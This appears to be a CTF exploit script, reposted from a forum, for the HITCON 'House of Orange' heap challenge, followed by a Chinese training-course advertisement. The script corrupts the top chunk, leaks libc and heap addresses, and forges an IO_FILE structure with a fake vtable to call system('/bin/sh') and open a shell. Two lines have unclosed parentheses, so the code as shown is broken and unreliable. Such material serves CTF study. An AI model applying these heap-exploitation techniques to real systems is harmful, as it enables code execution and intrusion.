sl      = lambda data               :p.sendline(str(data))

sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

itr     = lambda                    :p.interactive()

uu32    = lambda data               :u32(data.ljust(4,'\0'))

uu64    = lambda data               :u64(data.ljust(8,'\0'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

p = process("./hitcon_houseoforange")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

elf = ELF("./hitcon_houseoforange")

def dbg():

    gdb.attach(p)

    pause()

def command(id):

    ru("Your choice : ")

    sl(str(id))

def build(name_len,name,price=0xdeadbeef,color=0xddaa):

    command(1)

    ru("Length of name :")

    sl(str(name_len))

    ru("Name :")

    sl(name)

    ru("Price of Orange:")

    sl(str(price))

    ru("Color of Orange:")

    sl(str(color))

def see():

    command(2)

def upgrade(name_len,name,price=0xdeadbeef,color=0xddaa):

    command(3)

    ru("Length of name :")

    sl(str(name_len))

    ru("Name:")

    sl(name)

    ru("Price of Orange: ")

    sl(str(price))

    ru("Color of Orange: ")

    sl(str(color))

build(0x10,b'a'*8)

payload = b'b'*0x10  

payload += p64(0) + p64(0x21) + p32(0xdeadbeef) + p32(0xddaa) + p64(0

payload += p64(0) + p64(0xfa1)

upgrade(0x41,payload)

build(0x1000,b'c'*8)

build(0x400,b'd'*7)

see()

ru('ddddddd\n')

libc_addr = u64(r(6).ljust(8,"\x00")) - 0x3c5188

libc.address = libc_addr

io_list_all_addr = libc.sym['_IO_list_all']

system_addr = libc.sym['system']

leak('addr(_IO_list_all)',io_list_all_addr)

leak('addr(libc_base)',libc_addr)

leak('addr(system)',system_addr)

upgrade(0x10,b'e'*0xf)

see()

ru('e'*0xf+'\n')

heap_addr = u64(r(6).ljust(8,"\x00")) - (0x20*6)

fake_vtable_addr = heap_addr + (0x20*6) + 0x410 + 0x20 + 0x8*12

leak('addr(heap)',heap_addr)

leak('addr(vtable)', fake_vtable_addr)

payload = b'f'*0x400

payload += p64(0) + p64(0x21) + 2*p64(1)

fake_file = IO_FILE_plus()

fake_file._flags = 0x0068732f6e69622f

fake_file._IO_read_ptr = 0x61 

fake_file._IO_read_base = io_list_all_addr-0x10 

fake_file._IO_write_base = 0

fake_file._IO_write_ptr = 1

fake_file._mode = 0

fake_file._old_offset = libc.sym["system"]

fake_file.vtable = fake_vtable_addr

fake_file.show()

payload += str(fake_file)

upgrade(0x1000,payload)

command(1

itr()

[2022冬季班]《安卓高级研修班(网课)》月薪两万班招生中~

最后于 11小时前 被ztree编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-274625.htm
如有侵权请联系:admin#unsafe.sh